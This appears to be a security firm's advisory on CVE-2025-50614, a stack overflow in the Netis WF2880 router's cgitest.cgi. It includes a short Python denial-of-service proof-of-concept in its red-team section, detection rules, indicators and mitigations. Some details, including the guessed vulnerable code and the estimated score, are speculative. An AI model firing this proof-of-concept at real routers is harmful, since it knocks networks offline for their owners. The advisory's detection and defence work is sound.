CVE-2025-50614

Executive Summary

CVE-2025-50614 is a critical buffer overflow vulnerability discovered in the Netis WF2880 router, specifically in firmware version v2.1.40207. The flaw resides in the FUN_0047151c function within the cgitest.cgi binary. An attacker can exploit this by controlling the wds_set parameter in the HTTP payload, leading to a stack-based buffer overflow. This can cause the CGI process to crash, resulting in a Denial of Service (DoS) condition. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor. The vulnerability is classified under CWE-121 (Stack-based Buffer Overflow) and aligns with MITRE ATT&CK tactic T1499 (Endpoint Denial of Service).

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for a full vector calculation. However, based on the nature of the vulnerability (buffer overflow in a network-accessible CGI interface), a reasonable estimated vector would be:

• Attack Vector (AV): Network (N) – The CGI endpoint is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The exploit affects only the vulnerable component.
• Confidentiality (C): None (N) – No data exfiltration.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – The crash leads to DoS.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Estimated Base Score: 7.5 (High)

Threat Level: High – The vulnerability is remotely exploitable without authentication and can cause a complete denial of service. However, the lack of public exploit code and the requirement for a specific payload reduce immediate risk.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the cgitest.cgi CGI binary. The FUN_0047151c function processes the wds_set parameter from an HTTP POST or GET request. When the input length exceeds the allocated stack buffer, it overwrites adjacent memory, including the return address and other critical data.

Technical Details:

• Affected Component: cgitest.cgi – a CGI script used for testing or diagnostics.
• Vulnerable Function: FUN_0047151c – likely a handler for WDS (Wireless Distribution System) settings.
• Trigger Mechanism: Sending a crafted HTTP request with an overly long wds_set parameter.
• Impact: The overflow corrupts the stack, causing the process to crash. In some cases, it may be possible to achieve code execution, but the current report only confirms DoS.

Attack Flow:

1. Attacker identifies a Netis WF2880 router with firmware v2.1.40207.
2. Attacker sends an HTTP request to http://<router-ip>/cgitest.cgi with a malicious wds_set parameter.
3. The FUN_0047151c function copies the input into a fixed-size buffer without bounds checking.
4. The overflow corrupts the stack, leading to a segmentation fault and crash of the CGI process.
5. The router may become unresponsive or require a reboot to restore functionality.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison is not possible. However, based on the vulnerability description, the vulnerable code likely resembles:

void FUN_0047151c(char *wds_set) {
    char buffer[256];
    strcpy(buffer, wds_set);  // Vulnerable: no bounds checking
    // ... process buffer
}

A patched version would use safe string functions:

void FUN_0047151c(char *wds_set) {
    char buffer[256];
    strncpy(buffer, wds_set, sizeof(buffer) - 1);  // Safe: limits copy size
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Netis WF2880 router with firmware v2.1.40207.
• Network access to the router's web interface.
• Python3 with requests library.

Exploit Script (Proof-of-Concept):

#!/usr/bin/env python3
import requests

target = "http://192.168.1.1/cgitest.cgi"
payload = "A" * 1000  # Overflow buffer

data = {"wds_set": payload}
try:
    r = requests.post(target, data=data, timeout=5)
    print(f"Response: {r.status_code}")
except requests.exceptions.ConnectionError:
    print("Target crashed - DoS achieved")

Usage:

1. Replace target with the actual router IP.
2. Run the script. If the router crashes, the connection will be lost.
3. Note: This is a DoS-only exploit. For code execution, further reverse engineering is required.

Blue Team (Detection & Defense)

Detection:

• Monitor HTTP requests to /cgitest.cgi with abnormally long wds_set parameters.
• Use network intrusion detection systems (NIDS) to flag oversized POST data.
• Enable logging on the router (if available) to capture crash events.

Defense:

• Restrict access to the router's web interface to trusted IPs only.
• Disable cgitest.cgi if not needed (e.g., via firewall rules).
• Apply vendor patches when available.
• Implement input validation at the network perimeter.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /cgitest.cgi with wds_set parameter exceeding 256 bytes.
  • Source IPs repeatedly sending large payloads to the router.
• Host:
  • Router logs showing crash of cgitest.cgi process.
  • Unexpected reboots or unresponsive web interface.
• File:
  • No file-based IOCs as the exploit is memory-based.

Detection Engineering

YARA Rule

rule CVE_2025_50614_Netis_WF2880_DoS {
    meta:
        description = "Detects HTTP requests targeting CVE-2025-50614 buffer overflow"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50614"
    strings:
        $cgi = "cgitest.cgi" nocase
        $param = "wds_set=" nocase
        $long_payload = /wds_set=[A-Za-z0-9]{300,}/  // Payload > 300 chars
    condition:
        $cgi and $param and $long_payload
}

Sigma Rule

title: CVE-2025-50614 Netis WF2880 Buffer Overflow DoS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests with oversized wds_set parameter to cgitest.cgi
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "cgitest.cgi"
        cs-uri-query|contains: "wds_set="
        cs-uri-query|re: "wds_set=[A-Za-z0-9]{300,}"
    condition: selection
falsepositives:
    - Legitimate long WDS configuration strings (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-50614 Netis WF2880 Buffer Overflow DoS"; flow:to_server; content:"cgitest.cgi"; http_uri; content:"wds_set="; http_client_body; pcre:"/wds_set=[A-Za-z0-9]{300,}/Ri"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Device: Place the Netis WF2880 behind a firewall and restrict access to the web interface to trusted IPs only.
2. Disable CGI Endpoint: If possible, block access to /cgitest.cgi via firewall or router ACLs.
3. Monitor Logs: Enable logging and monitor for crash events or unusual HTTP requests.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from Netis. Contact Netis support for status.
• Firmware Upgrade: If a patched version becomes available, upgrade immediately.
• Replace Device: Consider replacing the router with a supported model from a vendor with active security updates.

Workarounds:

• Use a reverse proxy to filter out oversized requests.
• Implement network segmentation to limit exposure of the router.

Valters IT
Securing Digital Frontiers